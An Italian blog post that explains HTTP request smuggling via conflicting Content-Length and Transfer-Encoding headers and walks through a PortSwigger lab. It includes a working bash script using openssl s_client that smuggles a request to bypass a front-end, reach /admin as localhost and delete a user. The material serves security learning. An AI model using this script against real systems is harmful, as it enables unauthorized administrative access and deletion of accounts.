La vulnerabilità HTTP Request Smuggling è stata documentata per la prima volta da Watchfire nel 2005. La loro ricerca si è concentrata sullo sfruttare l'header Content-Length. Al DEFCON 24 del 2016, Regis Leroy introduce nuove tecniche per sfruttare HTTP Smugling incluso la concomitanza degli header Content-Length e Transfer-Encoding nella stessa request. Al BlackHat USA 2019, James Kettle di PortSwigger introduce nuovi metodi per sfruttare tale vulnerabilità e consigli utili su come prevenire.

Una delle tecniche presentate da Regis Leroy e James Kettle, tratta di come sfruttare il modo in cui i server web interpretano la concomitanza degli header Content-Length e Transfer-Encoding che, secondo RFC del protocollo HTTP, non dovrebbero mai essere inviati insieme.

A partire dalla versione 1.1 del protocollo HTTP, il contenuto di una request o una response può essere divisa in più parti detti "chunk". Dato che client o server devono dichiarare anticipatamente la dimensione di un request body o di un response body (ciò che avviene, ad esempio, con l'header Content-Length), l'invio di contenuti la cui dimensione non è conosciuta a priori rappresentava un problema costringendo l'applicazione a fare buffering del contenuto prima di trasferirlo con un conseguente degrado delle prestazioni (oltre che a un maggiore consumo di risorse).

Questo problema viene risolto dividendo lo stream di dati in più parti, precedute dalla loro lunghezza (espressa in esadecimale) e che terminano con il valore "zero". Per fare ciò, è necessario sostituire l'header "Content-Length: <lunghezza del dato>" con "Transfer-Encoding: chunked". Per esempio:

Request POST usando Content-Length

POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 3

a=b


Request POST usando Transfer-Encoding: chunked

POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

3
a=b
0


Anche se può sembrare ovvio, il protocollo HTTP prevede che in una request non possano coesistere l'header Content-Length e l'header Transfer-Encoding. La concomitanza di entrambi gli header in una request, in alcuni casi, fa si che si generi una situazione in cui il il front-end interpreti il transfer-encoding e ignori il content-length, e il back-end interpreti il content-length ignorando il transfer-encoding (o viceversa).

Ora, immaginiamo di avere una situazione in cui la request di uno user-agent transiti attraverso un load balancer e che, in caso di presenza di entrambi gli header, interpreti Transfer-Encoding e ignori Content-Lenght. Esso inoltrerà la request al server web che interpreterà, ad esempio, il Content-Length e ignorerà il Transfer-Encoding. In questo tipo di scenario sarebbe possibile inviare una request HTTP che sarà interpretata in modo diverso dal front-end e dal back-end, portando a un potenziale bypass del front-end e relativi/eventuali policy di sicurezza.

POST / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 ...
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

5c
PIPPO / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1
0


Portswigger Lab

Il modo più semplice per testare questa vulnerabilità è quello di provare a risolvere i lab messi a disposizione da Portswigger: HTTP request smuggling, Finding HTTP request smuggling vulnerabilities, Exploiting HTTP request smuggling vulnerabilities.

Uno di questi lab ci propone uno scenario in cui un sito (un blog con un'area di amministrazione /admin) è ospitato su di un server che non supporta il chunked encoding ed è bilanciato da un front-end. Il front-end ha delle policy di sicurezza tra cui una che impedisce di raggiungere il pannello di amministrazione su /admin del sito. L'area di amministrazione è raggiungibile solo eseguendo la request direttamente sul back-end. Dobbiamo trovare un modo per ottenere accesso ad /admin sfruttando HTTP Smuggling.

Burp Suite semplifica molto questo tipo di exploiting ma in questo caso, per capire meglio come funziona una request chunked e cosa avviene quando i due web server interpretano parti diverse della stessa request HTTP, creerò un exploit in bash.

Non voglio usare curl, o altri user-agent testuali, proprio per comprendere meglio come strutturare la request HTTP. Userò quindi s_client di openssl per inviare request HTTP verso il target messo a disposizione dal lab di Portswigger. Per esempio, il corrispettivo di una request HEAD usando curl su connessione cifrata curl -I https://example.com può essere inviata in questo modo:

echo -en "HEAD / HTTP/1.1\nHost: example.com\n\n" | \
    openssl s_client -quiet -crlf -connect example.com:443

Abbiamo detto che il chuned encoded prevede che ogni chunk sia preceduto dalla sua lunghezza espressa in esadecimale, per esempio:

foo=bar = 7 bytes

In bash possiamo calcolarlo con qualcosa di simile:

CHUNK="foo=bar"; echo ${#CHUNK}
7

Per convertire il risultato in esadecimale, possiamo usare la funzione printf in questo modo:

CHUNK="foo=bar&asd=asd&blabla=blabla"; \
CHUNKLEN=$(echo ${#CHUNK}); \
printf '%x\n' $CHUNKLEN

Quindi se volessimo inviare una request POST, chunk encoded, verso example.com, il corrispettivo di curl -d 'asd=asd' 'https://example.com potremmo fare:

CHUNK="foo=bar&asd=asd&blabla=blabla"; \
CHUNKLEN=$(echo ${#CHUNK}); \
CHUNKLENHEX=$(printf '%x\n' $CHUNKLEN); \
echo -en "POST / HTTP/1.1\nHost: example.com\nTransfer-Encoding: chunked\n\n${CHUNKLENHEX}\n${CHUNK}\n0\n\n" | \
    openssl s_client -quiet -crlf -connect example.com:443

Exploit

Chiarito come inviare una request HTTP chunk encoded, possiamo passare alla fase di exploit. La descrizione del lab di Portswigger ci dice che dobbiamo trovare un modo di raggiungere /admin sul server back-end, il cui accesso è bloccato dal front-end tramite una policy di sicurezza.

La mia prima idea è stata quella di inviare una reuqest di questo tipo:

Ho preparato questo script bash che genera quanto mostrato nell'immagine qui sopra. In breve valorizzo due variabili: REQ (in verde qui sopra) ed EXPLOIT (in rosso). In REQ inserisco la request per il front-end con il content-length valorizzato a 4 bytes perchè include solo il valore esadecimale che rappresenta la lunghezza del chunk + 2 bytes per i Carriage Return e Line Feed (\r\n).

La variable EXPLOIT contiene la request per il front-end preceduta dalla sua dimensione in bytes espressa in esadecimale. La calcolo come abbiamo visto prima, usando la funzione printf.

In fine includo entrambe in un'unica variabile FULLREQ che rappresenta la request nella sua interezza. Fatto ciò, eseguo s_client con openssl verso il target.

#!/bin/bash

target=$1

REQ="POST / HTTP/1.1\n"\
"Host: ${target}\n"\
"Content-Type: application/x-www-form-urlencoded\n"\
"Connection: closed\n"\
"Content-length: 4\n"\
"Transfer-Encoding: chunked\n"\
"\n"

EXPLOIT="GET /admin HTTP/1.1\n"\
"Host: ${target}\n"\
"Connection: closed\n"\
"\n"

CHUNKLENHEX=$(printf '%x' ${#EXPLOIT})

FULLREQ=$REQ\
"$CHUNKLENHEX\n"\
"$EXPLOIT\n"\
"0\n\n"

echo -en $FULLREQ

echo -en $FULLREQ | openssl s_client -crlf -quiet -connect $target:443

Il risultato è il seguente:

POST / HTTP/1.1
Host: accb1f5b1e8b04e3803b279c006d0041.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Connection: closed
Content-length: 4
Transfer-Encoding: chunked

6c
GET /admin HTTP/1.1
Host: accb1f5b1e8b04e3803b279c006d0041.web-security-academy.net
Connection: closed


0

L'exploit sembra funzionare correttamente ma, eseguendo due volte lo script, ottengo una risposta interessante dal back-end:

Sembra che gli unici modi per accedere all'area di amministrazione siano:

  • avere una sessione autenticata con privilegi di amministratore
  • eseguire la request verso localhost

Provo il secondo approccio e, invece di impostare l'header Host della request verso il back-end (in rosso) con l'hostname del target, imposto l'header Host a localhost:

Il risultato è quello sperato!

Ora non mi resta che puntare a uno dei link per cancellare un utente, ad esempio:

/admin/delete?username=wiener

La request è andata a buon fine e l'utente "wiener" è stato eliminato. Sarà possibile risolvere il Lab sostituendo l'utente "wiener" con "carlos".

Reference

Commenti

Immagine di copertina di Mariko Kosaka @kosamari
https://twitter.com/kosamari/status/859958929484337152